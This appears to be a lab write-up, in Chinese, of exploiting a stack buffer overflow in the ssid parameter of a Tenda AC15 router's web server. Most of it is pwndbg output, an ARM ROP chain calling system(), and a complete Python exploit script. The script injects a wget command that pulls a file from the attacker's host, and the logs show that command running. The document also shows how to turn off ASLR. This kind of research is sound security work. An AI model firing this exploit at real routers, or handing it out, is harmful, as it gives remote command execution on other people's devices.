

GDB动态调试:

先cyclic生成了300个数据，在溢出点下个断点，直接c会在发生错误的地方停下来，我们发现会一直卡在ldrb r2, r1, #1 这里，是要r1 指定的地址加载一个字节到 r2，然后将 r1 的值加 1，指向下一个字节，但是我们这里的r1所指向的地址已经被我们写的垃圾数据给填充了，所以会找不到这个地址发生段错误，于是我们也可以知道，到这里的时候前面要先填充多少个垃圾数据，然后再让其通过去找到一个可以读到的地址，才能往后走。故我们cyclic -l 0x61616179 (r1寄存器) 得到96

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
R0 0x7efff988 ← 0x0
R1 0x61616179 ('yaaa')
R2 0x7efff988 ← 0x0
R3 0x7efff988 ← 0x0
R4 0xff3b8 → 0xff270 ← 0x1
R5 0x121120 ← '/goform/fast_setting_wifi_set'
R6 0x1
R7 0x7effff14 ← 'httpd'
R8 0xec24 (_init) ← mov ip, sp
R9 0x2e420 ← push {r4, fp, lr}
R10 0x7efffd98 ← 0x0
R11 0x7efffa44 ← 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaaczbaacbaaccaacdaaceaaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac'
R12 0xff814 (strcpy@got.plt) → 0x76de9508 (strcpy) ← mov r3, r0
SP 0x7efff7c8 ← 0x0
PC 0x76de950c (strcpy+4) ← ldrb r2, [r1], #1
[ DISASM ]
0x76de9508 <strcpy> mov r3, r0
► 0x76de950c <strcpy+4> ldrb r2, [r1], #1
0x76de9510 <strcpy+8> cmp r2, #0
0x76de9514 <strcpy+12> strb r2, [r3], #1
0x76de9518 <strcpy+16> bne #strcpy+4 <strcpy+4>
↓
0x76de950c <strcpy+4> ldrb r2, [r1], #1
0x76de9510 <strcpy+8> cmp r2, #0
0x76de9514 <strcpy+12> strb r2, [r3], #1
0x76de9518 <strcpy+16> bne #strcpy+4 <strcpy+4>
↓
0x76de950c <strcpy+4> ldrb r2, [r1], #1
0x76de9510 <strcpy+8> cmp r2, #0
[ STACK ]
00:0000| sp 0x7efff7c8 ← 0x0
... ↓ 2 skipped
03:000c| 0x7efff7d4 → 0x12df70 ← 0x64697373 ('ssid')
04:0010| 0x7efff7d8 → 0x7efffa60 ← 'naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaaczbaacbaaccaacdaaceaaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac'
05:0014| 0x7efff7dc → 0x120e90 → 0x11fe88 ← 'host'
06:0018| 0x7efff7e0 ← 0x0
07:001c| 0x7efff7e4 ← 0x0
[ BACKTRACE ]
► f 0 0x76de950c strcpy+4
f 1 0x67094 form_fast_setting_wifi_set+436
pwndbg> clclic -l 0x61616179
Undefined command: "clclic". Try "help".
pwndbg> cyclic -l 0x61616179
96
```

```
pwndbg>
0x0006775c in form_fast_setting_wifi_set ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
R0 0x108
R1 0x11fd78 → 0x120e88 → 0x11dbe0 ← 0x0
R2 0x11fd78 → 0x120e88 → 0x11dbe0 ← 0x0
R3 0x77777777 ('www')
R4 0xff3b8 → 0xff270 ← 0x1
R5 0x7efff988 ← 0x47355f /* '_5G' */
R6 0x1
R7 0x7effff14 ← 'httpd'
R8 0xec24 (_init) ← mov ip, sp
R9 0x2e420 ← push {r4, fp, lr}
R10 0x7efffd98 ← 0x0
R11 0x7efffa44 → 0x17100 (websFormHandler+136) ← add r3, r4, r3
R12 0x76f4fedc (__pthread_unlock@got.plt) → 0x76f45a50 (__pthread_unlock) ← mov r3, r0
*SP 0x7efffa38 ← 0x62616164 ('daab')
*PC 0x6775c (form_fast_setting_wifi_set+2172) ← pop {r4, r5, fp, pc}

[ DISASM ]
0x67748 <form_fast_setting_wifi_set+2152> ldr r0, [fp, #-0x268]
0x6774c <form_fast_setting_wifi_set+2156> mov r1, r3
0x67750 <form_fast_setting_wifi_set+2160> bl #0x9ccbc <0x9ccbc>

0x67754 <form_fast_setting_wifi_set+2164> mov r0, r0
0x67758 <form_fast_setting_wifi_set+2168> sub sp, fp, #0xc
▶ 0x6775c <form_fast_setting_wifi_set+2172> pop {r4, r5, fp, pc} <0x6775c>
0x67760 <form_fast_setting_wifi_set+2176> andeq r8, sb, r0, asr #9

[ STACK ]
00:0000 | sp 0x7efffa38 ← 0x62616164 ('daab')
01:0004 | 0x7efffa3c ← 0x62616165 ('eaab')
02:0008 | 0x7efffa40 → 0x76dc3298 (wait+24) ← pop {r3, pc}
03:000c | r11 0x7efffa44 → 0x17100 (websFormHandler+136) ← add r3, r4, r3
04:0010 | 0x7efffa48 ← 0x0
05:0014 | 0x7efffa4c → 0x1190e0 ← 0x0
06:0018 | 0x7efffa50 → 0x1190c8 ← '/goform'
07:001c | 0x7efffa54 → 0x11fd80 ← 0x0

[ BACKTRACE ]
▶ f 0 0x6775c form_fast_setting_wifi_set+2172
```

本来是想着在哪发生了段错误，就直接在哪覆盖就可以了，但经过实际调试发现偏差少了四位，故又单步去调试了一下

```

pwndbg> n
0x0006775c in form_fast_setting_wifi_set ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
R0 0x108
R1 0x11dbe0 → 0x11fd78 → 0x120e88 ← 0x0
R2 0x11dbe0 → 0x11fd78 → 0x120e88 ← 0x0
R3 0x77777777 ('www')
R4 0xff3b8 → 0xff270 ← 0x1
R5 0x7efff988 ← 0x47355f /* '_5G' */
R6 0x1
R7 0x7effff14 ← 'httpd'
R8 0xec24 (__init) ← mov ip, sp
R9 0x2e420 ← push {r4, fp, lr}
R10 0x7efffd98 ← 0x0
R11 0x7efffa44 ← 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabya
R12 0x76f4fedc (__pthread_unlock@got.plt) → 0x76f45a50 (__pthread_unlock) ← mov r3, r0
*SP 0x7efffa38 ← 'daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva
aac'
*PC 0x6775c (form_fast_setting_wifi_set+2172) ← pop {r4, r5, fp, pc}
[ DISASM ]
0x67748 <form_fast_setting_wifi_set+2152> ldr r0, [fp, #-0x268]
0x6774c <form_fast_setting_wifi_set+2156> mov r1, r3
0x67750 <form_fast_setting_wifi_set+2160> bl #0x9ccbc <0x9ccbc>
0x67754 <form_fast_setting_wifi_set+2164> mov r0, r0
0x67758 <form_fast_setting_wifi_set+2168> sub sp, fp, #0xc
▶ 0x6775c <form_fast_setting_wifi_set+2172> pop {r4, r5, fp, pc} <0x6775c>
0x67760 <form_fast_setting_wifi_set+2176> andeq r8, sb, r0, asr #9
[ STACK ]
00:0000| sp 0x7efffa38 ← 'daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaab
acxaacyaac'
01:0004| 0x7efffa3c ← 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaa
acyaac'
02:0008| 0x7efffa40 ← 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaa
ac'
03:000c| r11 0x7efffa44 ← 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaa
04:0010| 0x7efffa48 ← 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaa
05:0014| 0x7efffa4c ← 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaa
06:0018| 0x7efffa50 ← 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaa
07:001c| 0x7efffa54 ← 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaa
[ BACKTRACE ]
▶ f 0 0x6775c form_fast_setting_wifi_set+2172
pwndbg> n
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x62616166

```

因为要确保 fp 指向有效的内存地址是程序正常运行的关键，指向无效地址会导致段错误，所以 pop 到 fp 的时候就已经发生段错误了，故我们计算偏移的时候是要其覆盖到 pc，故应该到 gaab 来结束计算

所计算得到的偏移量为 $96 + 4 + 24$ ，故要绕过第二次段错误我们应该再构造 24 个脏数据

```

pwndbg> cyclic -l gaab
124

```

去验证让它跳转到我们想让它跳转的位置，POP {R3,PC}，发现成功跳转，说明我们偏移已经

算对了

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

R0 0x108
R1 0x11dbe0 → 0x11fd78 → 0x120e88 ← 0x0
R2 0x11dbe0 → 0x11fd78 → 0x120e88 ← 0x0
R3 0x77777777 ('www')
*R4 0x62616164 ('daab')
*R5 0x62616165 ('eaab')
R6 0x1
R7 0x7effff14 ← 'httpd'
R8 0xec24 (_init) ← mov ip, sp
R9 0x2e420 ← push {r4, fp, lr}
R10 0x7efffd98 ← 0x0
*R11 0x62616166 ('faab')
R12 0x76f4fedc (__pthread_unlock@got.plt) → 0x76f45a50 (__pthread_unlock) ← mov r3, r0
*SP 0x7efffa48 ← 0x0
*PC 0x76dc3298 (wait+24) ← pop {r3, pc}

► 0x76dc3298 <wait+24> pop {r3, pc} <0x76dc3298>
0x76dc329c <waitid> push {r3, r4, r7, lr}
0x76dc32a0 <waitid+4> mov r4, #0
0x76dc32a4 <waitid+8> mov r7, #0x118
0x76dc32a8 <waitid+12> svc #0
0x76dc32ac <waitid+16> cmn r0, #0x1000
0x76dc32b0 <waitid+20> mov r4, r0
0x76dc32b4 <waitid+24> bls #waitid+44 <waitid+44>
0x76dc32b8 <waitid+28> rsb r4, r4, #0
0x76dc32bc <waitid+32> bl #__errno_location@plt <__errno_location@
0x76dc32c0 <waitid+36> str r4, [r0]
```

我们构造的ROP链是:pop {r3,pc}->system->mov r0,sp;blx r3->cmd

pop{r3,pc}指令通常用于函数返回或跳转到某个地址,同时保存返回地址到寄存器 r3。

也就是说

r3->system r3 将被设置为 0x76e05270 (即 system 的地址)

pc->mov r0,sp pc 将指向 0x76debc8 (即 authnone_create + 192 的地址)

跳转到 0x76debc8 执行,从栈中弹出地址并跳转

```

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ RE
R0 0x108
R1 0x11fd78 → 0x120e88 → 0x11dbe0 ← 0x0
R2 0x11fd78 → 0x120e88 → 0x11dbe0 ← 0x0
R3 0x77777777 ('www')
*R4 0x61616161 ('aaaa')
*R5 0x61616161 ('aaaa')
R6 0x1
R7 0x7effff14 ← 'httpd'
R8 0xec24 (_init) ← mov ip, sp
R9 0x2e420 ← push {r4, fp, lr}
R10 0x7efffd98 ← 0x0
*R11 0x61616161 ('aaaa')
R12 0x76f4fedc (__pthread_unlock@got.plt) → 0x76f45a50 (__pthread_unlock) ← mov r3, r0
*SP 0x7efffa48 → 0x76e05270 (system) ← ldr r3, [pc, #0x144]
*PC 0x76dc3298 (wait+24) ← pop {r3, pc}

► 0x76dc3298 <wait+24> pop {r3, pc} <0x76dc3298>
0x76dc329c <waitld> push {r3, r4, r7, lr}
0x76dc32a0 <waitid+4> mov r4, #0
0x76dc32a4 <waitid+8> mov r7, #0x118
0x76dc32a8 <waitid+12> svc #0
0x76dc32ac <waitid+16> cmn r0, #0x1000
0x76dc32b0 <waitid+20> mov r4, r0
0x76dc32b4 <waitid+24> bls #waitid+44 <waitid+44>
0x76dc32b8 <waitid+28> rsb r4, r4, #0
0x76dc32bc <waitid+32> bl #__errno_location@plt <__errno_location@plt>
0x76dc32c0 <waitid+36> str r4, [r0]

00:0000 sp 0x7efffa48 → 0x76e05270 (system) ← ldr r3, [pc, #0x144]
01:0004 0x7efffa4c → 0x76debc8 (authnone_create+192) ← mov r0, sp /* '\r' */
02:0008 0x7efffa50 ← 'wget http://10.10.10.2:8000/exp.py'
03:000c 0x7efffa54 ← ' http://10.10.10.2:8000/exp.py'
04:0010 0x7efffa58 ← 'p://10.10.10.2:8000/exp.py'
05:0014 0x7efffa5c ← '10.10.10.2:8000/exp.py'
06:0018 0x7efffa60 ← '0.10.2:8000/exp.py'
07:001c 0x7efffa64 ← '.2:8000/exp.py'

[ BA
► f 0 0x76dc3298 wait+24
f 1 0x76debc8 authnone_create+192

```

mov r0,sp

准备了 system 函数的参数，执行后会调用 system，并使用当前栈指针sp的值r0作为参数。

blx r3 又跳转到刚刚赋给r3的system的地址

```

R0 0x7efffa50 ← 'wget http://10.10.10.2:8000/exp.py'
R1 0x11fd78 → 0x120e88 → 0x11dbe0 ← 0x0
R2 0x11fd78 → 0x120e88 → 0x11dbe0 ← 0x0
R3 0x76e05270 (system) ← ldr r3, [pc, #0x144]
R4 0x61616161 ('aaaa')
R5 0x61616161 ('aaaa')
R6 0x1
R7 0x7effff14 ← 'httpd'
R8 0xec24 (_init) ← mov ip, sp
R9 0x2e420 ← push {r4, fp, lr}
R10 0x7efffd98 ← 0x0
R11 0x61616161 ('aaaa')
R12 0x76f4fedc (__pthread_unlock@got.plt) → 0x76f45a50 (__pthread_unlock) ← mov r3, r0
SP 0x7efffa50 ← 'wget http://10.10.10.2:8000/exp.py'
*PC 0x76debcbc (authnone_create+196) ← blx r3

0x76debc8 <authnone_create+192> mov r0, sp
▶ 0x76debc8 <authnone_create+196> blx r3 <system>
command: 0x7efffa50 ← 'wget http://10.10.10.2:8000/exp.py'

0x76debcc0 <authnone_create+200> mov r0, r4
0x76debcc4 <authnone_create+204> add sp, sp, #0x18
0x76debcc8 <authnone_create+208> pop {r4, r5, r6, pc}
0x76debccc <authnone_create+212> ldrdeq ip, sp, [r2], -ip
0x76debc0 <authnone_create+216> ldrdeq r0, r1, [r0], -r4

00:0000 | r0 sp 0x7efffa50 ← 'wget http://10.10.10.2:8000/exp.py'
01:0004 | 0x7efffa54 ← ' http://10.10.10.2:8000/exp.py'
02:0008 | 0x7efffa58 ← 'p://10.10.10.2:8000/exp.py'
03:000c | 0x7efffa5c ← '10.10.10.2:8000/exp.py'
04:0010 | 0x7efffa60 ← '0.10.2:8000/exp.py'
05:0014 | 0x7efffa64 ← '.2:8000/exp.py'
06:0018 | 0x7efffa68 ← '000/exp.py'
07:001c | 0x7efffa6c ← 'exp.py'

▶ f 0 0x76debc8 authnone_create+196

```

命令执行成功了

```

lot@research:~/Desktop/Tenda/_US_AC15V1.0BR_V15.03.05.19_multi_TDO
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.2 - - [07/Aug/2024 23:54:46] "GET /sq.tar HTTP/1.1" 200 -
10.10.10.3 - - [07/Aug/2024 23:55:22] "GET /sq.tar HTTP/1.1" 200 -
10.10.10.3 - - [07/Aug/2024 23:59:24] "GET /gdbserver HTTP/1.1" 200 -
10.10.10.3 - - [08/Aug/2024 14:53:02] "GET /exp.py HTTP/1.1" 200 -
10.10.10.3 - - [08/Aug/2024 15:36:01] "GET /exp.py HTTP/1.1" 200 -

```

exp:

```
#!/usr/bin/python3
```

```
import requests
from pwn import *
```

```
target_ip = "10.10.10.3"
```



```

target_port = 80

cmd = b'wget http://10.10.10.2:8000/exp.py'
libc_base = 0x76DAB000
readable_addr = 0x641E8
system_addr = 0x5A270
pop_r3_addr = 0x18298
mov_ro_ret_r3_addr = 0x40CB8

#96 4 24
payload =
b'a'*96+p32(readable_addr+libc_base)+b'a'*24+p32(pop_r3_addr+libc_base)+p32(
system_addr+libc_base)+p32(mov_ro_ret_r3_addr+libc_base)+cmd

url = f"http://{target_ip}/goform/fast_setting_wifi_set"
cookie = {"cookie": "password=zjarmx"}

data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)

```

tip:

关闭地址随机化:

这两条命令与 Linux 系统中的地址空间布局随机化（ASLR）设置有关。

```

/ # echo 0 > /proc/sys/kernel/randomize_va_space
/ # cat /proc/sys/kernel/randomize_va_space
0

```

```
cat /proc/sys/kernel/randomize_va_space
```

作用：查看当前的 ASLR 配置。

返回值：

0：关闭 ASLR。

1：启用 ASLR（默认设置）。

2：启用堆和栈的随机化，但共享库和映射的文件保持固定。

```
sudo sysctl kernel.randomize_va_space=0
```

作用：将 ASLR 设置为关闭（0）。

效果：程序在运行时的内存地址将不再随机化，有助于调试或逆向工程，但会降低安全性。

canda python环境

```
#开启canda
conda activate pwntools
#关闭canda
conda deactivate
```

基地址:

对于动态链接库（如 libc.so.0），加载的可执行部分通常以 r-xp 权限标识。

```
pwndbg> vmmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8000 0xf7000 r-xp ef000 0 /root/squashfs-root/bin/httpd
0xff00 0x102000 rw-p 3000 ef000 /root/squashfs-root/bin/httpd
0x102000 0x131000 rw-p 2f000 0 [heap]
0x76da2000 0x76da3000 r-xp 1000 0 /root/squashfs-root/lib/librt.so.0
0x76da3000 0x76daa000 ---p 7000 0 [anon_76da3]
0x76daa000 0x76dab000 r--p 1000 0 /root/squashfs-root/lib/librt.so.0
0x76dab000 0x76e10000 r-xp 65000 0 /root/squashfs-root/lib/libc.so.0
0x76e10000 0x76e18000 ---p 8000 0 [anon_76e10]
0x76e18000 0x76e19000 r--p 1000 65000 /root/squashfs-root/lib/libc.so.0
0x76e19000 0x76e1a000 rw-p 1000 66000 /root/squashfs-root/lib/libc.so.0
```

shell passwd:

Fireitup